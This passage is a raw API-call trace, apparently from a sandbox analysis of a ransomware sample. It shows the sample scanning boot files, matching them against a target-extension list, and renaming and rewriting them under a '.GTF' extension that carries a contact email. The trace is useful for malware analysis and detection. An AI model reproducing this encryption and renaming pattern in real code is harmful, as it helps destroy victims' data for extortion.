	[0075.142] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString=".rar") returned 4
	[0075.142] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0075.142] lstrlenW (lpString=".bz2") returned 4
	[0075.142] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0075.143] lstrlenW (lpString=".7z") returned 3
	[0075.143] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0075.143] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.143] lstrlenW (lpString=".dbf") returned 4
	[0075.143] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0075.143] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.143] lstrlenW (lpString=".1cd") returned 4
	[0075.143] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0075.143] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0075.143] lstrlenW (lpString=".jpg") returned 4
	[0075.143] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0075.143] lstrcmpiW (lpString1=".LOG1", lpString2=".GTF") returned 1
	[0075.143] lstrlenW (lpString="BCD.LOG1") returned 8
	[0075.143] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0075.143] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=0) returned 1
	[0075.143] CloseHandle (hObject=0x310) returned 1
	[0075.144] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.144] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.144] lstrlenW (lpString=".doc") returned 4
	[0075.144] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0075.144] lstrlenW (lpString=".docx") returned 5
	[0075.144] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0075.144] lstrlenW (lpString=".pdf") returned 4
	[0075.144] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0075.144] lstrlenW (lpString=".xls") returned 4
	[0075.144] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0075.144] lstrlenW (lpString=".xlsx") returned 5
	[0075.144] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0075.144] lstrlenW (lpString=".ppt") returned 4
	[0075.144] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0075.144] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.144] lstrlenW (lpString=".zip") returned 4
	[0075.144] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0075.144] lstrlenW (lpString=".rar") returned 4
	[0075.144] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0075.144] lstrlenW (lpString=".bz2") returned 4
	[0075.144] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0075.144] lstrlenW (lpString=".7z") returned 3
	[0075.144] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0075.144] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.144] lstrlenW (lpString=".dbf") returned 4
	[0075.144] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0075.144] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.144] lstrlenW (lpString=".1cd") returned 4
	[0075.144] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0075.144] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.144] lstrlenW (lpString=".jpg") returned 4
	[0075.144] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0075.144] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.144] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.144] lstrlenW (lpString=".doc") returned 4
	[0075.144] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0075.145] lstrlenW (lpString=".docx") returned 5
	[0075.145] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0075.145] lstrlenW (lpString=".pdf") returned 4
	[0075.145] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0075.145] lstrlenW (lpString=".xls") returned 4
	[0075.145] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0075.145] lstrlenW (lpString=".xlsx") returned 5
	[0075.145] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0075.145] lstrlenW (lpString=".ppt") returned 4
	[0075.145] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0075.145] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.145] lstrlenW (lpString=".zip") returned 4
	[0075.145] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0075.145] lstrlenW (lpString=".rar") returned 4
	[0075.145] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0075.145] lstrlenW (lpString=".bz2") returned 4
	[0075.145] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0075.145] lstrlenW (lpString=".7z") returned 3
	[0075.145] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0075.145] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.145] lstrlenW (lpString=".dbf") returned 4
	[0075.145] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0075.145] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.145] lstrlenW (lpString=".1cd") returned 4
	[0075.145] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0075.145] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0075.145] lstrlenW (lpString=".jpg") returned 4
	[0075.145] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0075.145] lstrcmpiW (lpString1=".LOG2", lpString2=".GTF") returned 1
	[0075.145] lstrlenW (lpString="BCD.LOG2") returned 8
	[0075.145] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0075.150] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=0) returned 1
	[0075.151] CloseHandle (hObject=0x310) returned 1
	[0075.151] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.151] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.151] lstrlenW (lpString=".doc") returned 4
	[0075.151] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0075.151] lstrlenW (lpString=".docx") returned 5
	[0075.151] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0075.151] lstrlenW (lpString=".pdf") returned 4
	[0075.151] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0075.151] lstrlenW (lpString=".xls") returned 4
	[0075.151] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0075.151] lstrlenW (lpString=".xlsx") returned 5
	[0075.155] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0075.155] lstrlenW (lpString=".ppt") returned 4
	[0075.155] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0075.155] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.155] lstrlenW (lpString=".zip") returned 4
	[0075.155] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0075.155] lstrlenW (lpString=".rar") returned 4
	[0075.155] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0075.155] lstrlenW (lpString=".bz2") returned 4
	[0075.155] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0075.155] lstrlenW (lpString=".7z") returned 3
	[0075.155] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0075.155] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.155] lstrlenW (lpString=".dbf") returned 4
	[0075.155] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0075.155] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.155] lstrlenW (lpString=".1cd") returned 4
	[0075.155] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0075.155] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.155] lstrlenW (lpString=".jpg") returned 4
	[0075.156] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0075.156] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.156] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.156] lstrlenW (lpString=".doc") returned 4
	[0075.156] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0075.156] lstrlenW (lpString=".docx") returned 5
	[0075.156] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0075.156] lstrlenW (lpString=".pdf") returned 4
	[0075.156] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0075.156] lstrlenW (lpString=".xls") returned 4
	[0075.156] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0075.156] lstrlenW (lpString=".xlsx") returned 5
	[0075.191] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0075.191] lstrlenW (lpString=".ppt") returned 4
	[0075.191] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0075.191] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.191] lstrlenW (lpString=".zip") returned 4
	[0075.191] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0075.191] lstrlenW (lpString=".rar") returned 4
	[0075.191] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0075.191] lstrlenW (lpString=".bz2") returned 4
	[0075.191] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0075.191] lstrlenW (lpString=".7z") returned 3
	[0075.192] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0075.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.192] lstrlenW (lpString=".dbf") returned 4
	[0075.192] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0075.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.192] lstrlenW (lpString=".1cd") returned 4
	[0075.192] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0075.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0075.192] lstrlenW (lpString=".jpg") returned 4
	[0075.192] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0075.192] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0075.192] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0075.192] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0075.192] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=77664) returned 1
	[0075.193] CloseHandle (hObject=0x310) returned 1
	[0075.193] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0075.193] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.193] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.193] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.193] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.193] lstrlenW (lpString=".doc") returned 4
	[0075.193] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0075.193] lstrlenW (lpString=".docx") returned 5
	[0075.193] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0075.193] lstrlenW (lpString=".pdf") returned 4
	[0075.193] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0075.193] lstrlenW (lpString=".xls") returned 4
	[0075.193] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0075.193] lstrlenW (lpString=".xlsx") returned 5
	[0075.193] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0075.193] lstrlenW (lpString=".ppt") returned 4
	[0075.193] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0075.193] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.193] lstrlenW (lpString=".zip") returned 4
	[0075.193] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0075.193] lstrlenW (lpString=".rar") returned 4
	[0075.193] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0075.193] lstrlenW (lpString=".bz2") returned 4
	[0075.193] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0075.193] lstrlenW (lpString=".7z") returned 3
	[0075.193] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0075.193] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.194] lstrlenW (lpString=".dbf") returned 4
	[0075.194] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0075.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.194] lstrlenW (lpString=".1cd") returned 4
	[0075.194] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0075.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.194] lstrlenW (lpString=".jpg") returned 4
	[0075.194] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0075.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.194] lstrlenW (lpString=".doc") returned 4
	[0075.194] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0075.194] lstrlenW (lpString=".docx") returned 5
	[0075.194] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0075.194] lstrlenW (lpString=".pdf") returned 4
	[0075.194] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0075.194] lstrlenW (lpString=".xls") returned 4
	[0075.194] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0075.194] lstrlenW (lpString=".xlsx") returned 5
	[0075.194] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0075.194] lstrlenW (lpString=".ppt") returned 4
	[0075.194] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0075.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.194] lstrlenW (lpString=".zip") returned 4
	[0075.194] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0075.194] lstrlenW (lpString=".rar") returned 4
	[0075.194] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0075.194] lstrlenW (lpString=".bz2") returned 4
	[0075.194] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0075.194] lstrlenW (lpString=".7z") returned 3
	[0075.194] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0075.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.194] lstrlenW (lpString=".dbf") returned 4
	[0075.194] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0075.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.194] lstrlenW (lpString=".1cd") returned 4
	[0075.195] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0075.195] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0075.195] lstrlenW (lpString=".jpg") returned 4
	[0075.195] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0075.195] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0075.195] lstrlenW (lpString="bootspaces.dll") returned 14
	[0075.195] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0075.307] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=95648) returned 1
	[0075.307] CloseHandle (hObject=0x310) returned 1
	[0075.307] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0075.308] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.308] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.308] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.309] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.309] lstrlenW (lpString=".doc") returned 4
	[0075.309] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0075.309] lstrlenW (lpString=".docx") returned 5
	[0075.309] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0075.309] lstrlenW (lpString=".pdf") returned 4
	[0075.309] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0075.309] lstrlenW (lpString=".xls") returned 4
	[0075.309] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0075.309] lstrlenW (lpString=".xlsx") returned 5
	[0075.310] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0075.310] lstrlenW (lpString=".ppt") returned 4
	[0075.310] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0075.310] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.310] lstrlenW (lpString=".zip") returned 4
	[0075.310] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0075.310] lstrlenW (lpString=".rar") returned 4
	[0075.310] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0075.310] lstrlenW (lpString=".bz2") returned 4
	[0075.310] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0075.310] lstrlenW (lpString=".7z") returned 3
	[0075.310] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0075.310] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.310] lstrlenW (lpString=".dbf") returned 4
	[0075.310] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0075.310] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.310] lstrlenW (lpString=".1cd") returned 4
	[0075.310] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0075.310] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.310] lstrlenW (lpString=".jpg") returned 4
	[0075.310] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0075.310] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.310] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.310] lstrlenW (lpString=".doc") returned 4
	[0075.310] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0075.310] lstrlenW (lpString=".docx") returned 5
	[0075.310] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0075.310] lstrlenW (lpString=".pdf") returned 4
	[0075.310] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0075.310] lstrlenW (lpString=".xls") returned 4
	[0075.310] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0075.310] lstrlenW (lpString=".xlsx") returned 5
	[0075.310] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0075.310] lstrlenW (lpString=".ppt") returned 4
	[0075.310] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0075.310] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.311] lstrlenW (lpString=".zip") returned 4
	[0075.311] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0075.311] lstrlenW (lpString=".rar") returned 4
	[0075.311] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0075.311] lstrlenW (lpString=".bz2") returned 4
	[0075.311] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0075.311] lstrlenW (lpString=".7z") returned 3
	[0075.311] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0075.311] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.311] lstrlenW (lpString=".dbf") returned 4
	[0075.311] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0075.311] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.311] lstrlenW (lpString=".1cd") returned 4
	[0075.311] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0075.311] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0075.311] lstrlenW (lpString=".jpg") returned 4
	[0075.311] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0075.311] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0075.311] lstrlenW (lpString="bootvhd.dll") returned 11
	[0075.311] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0075.311] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=99744) returned 1
	[0075.311] CloseHandle (hObject=0x310) returned 1
	[0075.313] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0075.313] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.313] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.313] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0075.313] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0075.313] lstrlenW (lpString=".doc") returned 4
	[0075.313] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0075.313] lstrlenW (lpString=".docx") returned 5
	[0075.313] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0075.313] lstrlenW (lpString=".pdf") returned 4
	[0075.313] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0075.313] lstrlenW (lpString=".xls") returned 4
	[0075.313] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0075.313] lstrlenW (lpString=".xlsx") returned 5
	[0075.313] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0075.313] lstrlenW (lpString=".ppt") returned 4
	[0075.313] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0075.313] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0075.313] lstrlenW (lpString=".zip") returned 4
	[0075.313] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0075.314] lstrlenW (lpString=".rar") returned 4
	[0075.314] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0075.314] lstrlenW (lpString=".bz2") returned 4
	[0075.314] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0075.314] lstrlenW (lpString=".7z") returned 3
	[0075.314] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0075.314] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0075.314] lstrlenW (lpString=".dbf") returned 4
	[0075.314] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0075.319] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0075.321] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0075.324] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0075.327] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0075.528] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.528] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.528] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\bootnxt.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0075.528] GetLastError () returned 0x0
	[0075.528] ReadFile (in: hFile=0x388, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x1, lpOverlapped=0x0) returned 1
	[0075.531] WriteFile (in: hFile=0x38c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x10, lpOverlapped=0x0) returned 1
	[0075.532] ReadFile (in: hFile=0x388, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
